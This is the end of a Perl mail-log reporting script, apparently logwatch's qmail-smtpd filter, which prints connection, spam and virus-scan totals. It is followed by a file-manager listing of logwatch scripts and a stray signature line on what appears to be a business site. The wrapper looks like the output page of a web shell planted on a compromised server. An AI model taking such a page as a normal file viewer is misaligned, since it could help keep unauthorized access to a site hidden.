				print "\t" . $Line . " - ". $Badmailtoip{$Line} . " Time(s)\n";
			}
		}
		if ($threshold_reached < 1) {
			print "\t" . "None found above the threshold\n";
		}
	}
}
# end high detail

# show totals
if ($TotalFrom or $TotalTo) {
	print "\nTotals:\n";
	printf("%27s %9s\n", "Remote connections:", $TotalFrom);
	printf("%27s %9s\n", "Local connections:", $TotalTo);
}
if ($TotalBlocked) {
	printf("%27s %9s\n", "RBL blocked:", $TotalBlocked);
	printf("%27s %9s\n", "Grand Total From:", $GrandTotalFrom);
	printf("%27s %2.3f %%\n", "Percentage blocked:", (($TotalBlocked/$GrandTotalFrom)*100));
}

print "\nChkuser Totals:\n";
printf("%27s %9s\n", "Rejected:", ($TotalReject>0 ? $TotalReject : 0));
printf("%27s %9s\n", "Accepted:", ($TotalAccept>0 ? $TotalAccept : 0));
printf("%27s %9s\n", "Total accepted relays:", ($TotalAcceptRelay>0 ? $TotalAcceptRelay : 0));
printf("%27s %9s\n", "Total rejected relays:", ($TotalRejectRelay>0 ? $TotalRejectRelay : 0));
printf("%27s %9s\n", "Total viruses caught:", ($SimscanVirusTotal>0 ? $SimscanVirusTotal : 0));

if ($TotalNoAuthResource) {
	print "\nTotal No Auth Resources: $TotalNoAuthResource\n";
}
if ($TotalOverquota) {
	print "\nTotal Over quota: $TotalOverquota\n";
}
if ($TotalRejectedIntrusion) {
	print "\nTotal Rejected Intrusions: $TotalRejectedIntrusion\n";
}
if ($SimscanTotal) {
	print "\nSimscan Total: $SimscanTotal\n";
	$sct = sprintf("%.2f", ($Totalscantimevirus + $Totalscantimeattach + $Totalscantimeregex + $Totalscantimespam) );
	$Maxscantimevirus = sprintf("%.2f", $Maxscantimevirus);
	printf("%30s %9s", "Maximum Virus Scanning Time:", $Maxscantimevirus);
	print "\n";
	$Maxscantimeattach = sprintf("%.2f", $Maxscantimeattach);
	printf("%30s %9s", "Maximum Attach Scanning Time:", $Maxscantimeattach);
	print "\n";
	$Maxscantimeregex = sprintf("%.2f", $Maxscantimeregex);
	printf("%30s %9s", "Maximum Regex Scanning Time:", $Maxscantimeregex);
	print "\n";
	$Maxscantimespam = sprintf("%.2f", $Maxscantimespam);
	printf("%30s %9s", "Maximum Spam Scanning Time:", $Maxscantimespam);
	print "\n";
	$Totalscantimevirus = sprintf("%.2f", $Totalscantimevirus);
	printf("%30s %9s", "Total Virus Scanning Time:", $Totalscantimevirus);
	print "\n";
	$Totalscantimeattach = sprintf("%.2f", $Totalscantimeattach);
	printf("%30s %9s", "Total Attach Scanning Time:", $Totalscantimeattach);
	print "\n";
	$Totalscantimeregex = sprintf("%.2f", $Totalscantimeregex);
	printf("%30s %9s", "Total Regex Scanning Time:", $Totalscantimeregex);
	print "\n";
	$Totalscantimespam = sprintf("%.2f", $Totalscantimespam);
	printf("%30s %9s", "Total Spam Scanning Time:", $Totalscantimespam);
	print "\n";
	printf("%30s %9s", "Total Scanning Time:", $sct);
	print "\n";
}

if( $SimscanSpamrejectTotal ) {
	print "\nSimscan Spam Reject: $SimscanSpamrejectTotal emails\n";
}

if( $SimscanCleanTotal ) {
	print "\nSimscan Clean: $SimscanCleanTotal emails\n";
	if ( $SimscanSpamrejectTotal ) {
		printf("%30s %2.3f %%\n", "Percentage clean:", (($SimscanCleanTotal/($SimscanSpamrejectTotal+$SimscanCleanTotal))*100));
	}
}

if( $SimscanRelayClientTotal ) {
	print "\nSimscan RelayClient: $SimscanRelayClientTotal emails\n";
}

# simscan quarantine
if ( $Quarantine ) {
	print "\nSimscan Quarantine: $Quarantine emails\n";
}


if ($Badmailtotot) {
	print "\nTotal badmailto: $Badmailtotot\n";
}
if ($Badmailfromtot) {
	print "\nTotal badmailfrom: $Badmailfromtot\n";
}

if ($Total) {
	print "\nTotal mail: $Total\n";
}

# warnings
if ( (keys %Warnings) ) {
	print "\nWarnings:\n";
	foreach $Line (sort {$Warnings{$b} <=> $Warnings{$a}} keys %Warnings) {
		print "\t" . $Line . " - ". $Warnings{$Line} . " Time(s)\n";
	}
}

# other
if (($#OtherList >= 0) and (! $IgnoreUnmatched)) {
	print "\n**Unmatched Entries**\n";
	print @OtherList;
}

exit(0);

# vi: shiftwidth=3 tabstop=3 syntax=perl et
# Local Variables:
# mode: perl
# perl-indent-level: 3
# indent-tabs-mode: nil
# End:

Filemanager

Name Type Size Permission Actions
afpd File 3.83 KB 0755
amavis File 176.36 KB 0755
arpwatch File 1.42 KB 0755
audit File 15.57 KB 0755
automount File 5.22 KB 0755
autorpm File 2.23 KB 0755
barracuda File 11.83 KB 0755
bfd File 2.18 KB 0755
cisco File 44.38 KB 0755
citadel File 58.56 KB 0755
clam-update File 6.92 KB 0755
clamav File 6.16 KB 0755
clamav-milter File 4.16 KB 0755
courier File 23.26 KB 0755
cron File 12.56 KB 0755
denyhosts File 1.73 KB 0755
dhcpd File 10.79 KB 0755
dirsrv File 4.83 KB 0755
dmeventd File 2.83 KB 0755
dnssec File 4.97 KB 0755
dovecot File 22.13 KB 0755
dpkg File 3.19 KB 0755
emerge File 4.42 KB 0755
evtapplication File 5.91 KB 0755
evtsecurity File 8.16 KB 0755
evtsystem File 12.72 KB 0755
exim File 24.78 KB 0755
eximstats File 1.9 KB 0755
extreme-networks File 10.9 KB 0755
fail2ban File 9.97 KB 0755
fetchmail File 3.51 KB 0755
freeradius File 10.2 KB 0755
ftpd-messages File 7.65 KB 0755
ftpd-xferlog File 6.17 KB 0755
http File 23.72 KB 0755
http-error File 4.93 KB 0755
identd File 5.52 KB 0755
imapd File 11.13 KB 0755
in.qpopper File 4.83 KB 0755
init File 3.46 KB 0755
ipop3d File 4.07 KB 0755
iptables File 14.94 KB 0755
kernel File 10.42 KB 0755
knockd File 2.78 KB 0755
lvm File 2.68 KB 0755
mailscanner File 27.14 KB 0755
mdadm File 4.57 KB 0755
mod_security2 File 7.81 KB 0755
modprobe File 4.15 KB 0755
mountd File 4.33 KB 0755
mysql File 4.5 KB 0755
mysql-mmm File 4.82 KB 0755
named File 31.24 KB 0755
netopia File 14.97 KB 0755
netscreen File 20.61 KB 0755
oidentd File 5.45 KB 0755
omsa File 2.57 KB 0755
openvpn File 13.67 KB 0755
pam File 1.85 KB 0755
pam_pwdb File 7.82 KB 0755
pam_unix File 16.02 KB 0755
php File 5.09 KB 0755
pix File 13.27 KB 0755
pluto File 11.96 KB 0755
pop3 File 15.17 KB 0755
portsentry File 4.98 KB 0755
postfix File 240.95 KB 0755
postgresql File 5.37 KB 0755
pound File 3.5 KB 0755
proftpd-messages File 10.58 KB 0755
puppet File 10.28 KB 0755
pureftpd File 8.15 KB 0755
qmail File 5.72 KB 0755
qmail-pop3d File 4.41 KB 0755
qmail-pop3ds File 3.96 KB 0755
qmail-send File 19.62 KB 0755
qmail-smtpd File 56.04 KB 0755
raid File 1.71 KB 0755
resolver File 3.42 KB 0755
rsyslogd File 1.79 KB 0755
rt314 File 4.42 KB 0755
samba File 25.62 KB 0755
saslauthd File 4.04 KB 0755
scsi File 3.32 KB 0755
secure File 40.97 KB 0755
sendmail File 92.25 KB 0755
sendmail-largeboxes File 2.5 KB 0755
shaperd File 5.62 KB 0755
slon File 4.6 KB 0755
smartd File 16.08 KB 0755
sonicwall File 24.98 KB 0755
spamassassin File 7.56 KB 0755
sshd File 30.95 KB 0755
sshd2 File 2.01 KB 0755
sssd File 2.44 KB 0755
stunnel File 5.61 KB 0755
sudo File 5.99 KB 0755
syslog-ng File 20.45 KB 0755
syslogd File 1.97 KB 0755
systemd File 7.42 KB 0755
tac_acc File 4.11 KB 0755
tivoli-smc File 4.41 KB 0755
up2date File 4.77 KB 0755
vdr File 8.28 KB 0755
vpopmail File 3.46 KB 0755
vsftpd File 8.26 KB 0755
windows File 16.1 KB 0755
xntpd File 8.58 KB 0755
yum File 2.79 KB 0755
zypp File 2.46 KB 0755
zz-disk_space File 5.98 KB 0755
zz-fortune File 1.67 KB 0755
zz-lm_sensors File 1.8 KB 0755
zz-network File 12.78 KB 0755
zz-runtime File 1.65 KB 0755
zz-sys File 3 KB 0755
zz-zfs File 5.89 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – Seiko Business Matching